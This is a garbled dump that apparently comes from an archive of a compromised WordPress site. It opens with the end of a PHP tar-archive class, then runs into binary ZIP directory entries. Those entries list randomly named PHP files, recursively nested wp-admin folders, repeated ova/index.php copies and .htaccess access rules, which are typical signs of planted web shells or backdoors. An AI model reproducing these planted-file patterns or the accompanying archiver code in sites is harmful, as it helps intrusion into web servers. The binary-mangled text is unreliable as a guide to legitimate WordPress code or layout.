'.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } PKEO\ css/.htaccessnu RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] Order Allow,Deny Deny from all Order Allow,Deny Allow from all PK/8O\? wp-cron.phpnu[PK/8O\1w' a99165aa97.phpnuPK/8O\rr wp-admin/cache.phpnuPK/8O\d wp-admin/index.phpnuPK/8O\4nvvwp-admin/wp-admin/cache.phpnuPK/8O\'iwp-admin/wp-admin/wav_68fa3845342ac.zipnuPK/8O\z`W'wp-admin/wp-admin/index.phpnuPK/8O\N)wp-admin/wp-admin/fYLnQyB.f4vnuPK/8O\W2xx$7Awp-admin/wp-admin/wp-admin/cache.phpnuPK/8O\Jj$Cwp-admin/wp-admin/wp-admin/index.phpnuPK/8O\ߥ1Ewp-admin/wp-admin/wp-admin/m3u8_68f65a7a3e812.zipnuPK/8O\C  -[wp-admin/wp-admin/wp-admin/wp-admin/cache.phpnuPK/8O\v+`vv<oqwp-admin/wp-admin/wp-admin/wp-admin/comment-editor/index.phpnuPK/8O\b-Qywp-admin/wp-admin/wp-admin/wp-admin/index.phpnuPK/8O\ER}Ɏwp-admin/m4v_68ea0ce3f4067.zipnuPK/8O\|,T7T7äwp-admin/ova/index.phpnuPK/8O\>>]ova/index.php.tarnu[PK/8O\'|ccova/index.php.php.tar.gznu[PK/8O\|,T7T7 }ova/index.phpnuPK/8O\`}ova/error_log.tar.gznu[PK/8O\## ova/error_lognu[PK/8O\{5.789423466299412.phpnuPK/8O\"{` error_lognuPK/8O\n.658411765090659.phpnuPK/8O\1wdbd8650be3.phpnuPK/8O\ͥ .htaccessnu6$PK/8O\? wp-blog-header.phpnu[PKEO\461:$/IXR/network/ID3/met/met/wp/ufkHa.phpnuPKEO\S$/IXR/network/ID3/met/met/wp/.htaccessnuPKEO\|,T7T7IXR/ova/index.phpnuPKEO\QȦ[@[@ images/media-button-music-2x.gifnuPKEO\6Ximages/oXqTlI.phpnuPKEO\|,T7T7jimages/ova/index.phpnuPKEO\yIimages/.htaccessnuPKEO\461:7languages/blockt/SimplePie/blockt/ID3/wp/HEIQzENoei.phpnuPKEO\v:22 languages/blockt/SimplePie/blockt/ID3/wp/.htaccessnuPKEO\|,T7T7 languages/ova/index.phpnuPKEO\zf6 style-engine/user/php-compat/network/wp/CqoriyiAOX.phpnuPKEO\Qd1style-engine/user/php-compat/network/wp/.htaccessnuPKEO\|,T7T7style-engine/ova/index.phpnuPKEO\uЌ$php/widgets/IXR/ID3/wp/WCjXVAOMw.phpnuPKEO\71_ php/widgets/IXR/ID3/wp/.htaccessnuPKEO\|,T7T7php/ova/index.phpnuPKEO\461: Rcss/cFhAi.phpnuPKEO\z3MM'?css/colors/midnight/colors-rtls.min.cssnuPKEO\Sʉ